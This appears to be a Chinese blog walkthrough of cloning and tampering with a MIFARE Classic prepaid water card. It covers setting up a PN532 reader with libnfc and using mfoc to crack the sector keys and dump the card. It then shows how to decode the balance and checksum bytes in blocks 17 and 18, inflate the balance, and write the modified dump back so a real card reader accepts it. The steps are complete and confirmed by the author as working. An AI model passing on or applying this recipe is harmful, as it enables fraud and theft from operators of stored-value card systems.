0x01買板子
最便宜的板子pn532,需要買usb轉串口的設備,對於kali-rolling,好像是通殺的,無論是PL2303,ch34X,FT232RL(沒測試,這個更高端應該沒問題),cp2102。
把排針(不是電子專業的,不懂學名)焊接到pn532上,用杜邦線將兩個板子連接,hardware is ok.
0x02安裝軟件
需要安裝libnfc,可到githu上下載,解壓后
cd xxx
./configure
make
sudo make install
新建`/usr/local/etc/nfc/libnfc.conf
abc@kali:/usr/local/etc/nfc$ cat libnfc.conf
#allow_autoscan = true
device.connstring = "pn532_uart:/dev/ttyUSB0"
安裝mfoc、mfcuk,好像要編譯下,因kali自帶,這里不再說明。
0x03開始
連接設備,開工,拿水卡試下
abc@kali:~$ nfc-list
nfc-list uses libnfc 1.7.1
NFC device: pn532_uart:/dev/ttyUSB0 opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
ATQA (SENS_RES): 00 04
UID (NFCID1): 71 3d b3 1e
SAK (SEL_RES): 08
可以識別, 安裝正確.
解碼
abc@kali:~/nfc$ mfoc -f key -O tmp.mfd
...
Auth with all sectors succeeded, dumping keys to a file!
...
搞定密碼
0x04分析數據
這里的數據較為簡單, bock17和18儲存金額和校驗位, 找到校驗位的規律為循環出現, 因此, 基於原有數據, 如00 00對應5a 78, 金額加上1020, 得到10 20對應FC 03, 修改結束.
寫入到原卡或者空白卡片
abc@kali:~/nfc$ nfc-mfclassic w b tmp.mfd tmp.mfd
0x05
測試, 拿到卡機上測試,發現無法讀取, 回到04, 將校驗位加減1,重新寫入, 測試ok.
0x06
m1卡已經完全失去了安全性, 犯罪成本之低,,,,,,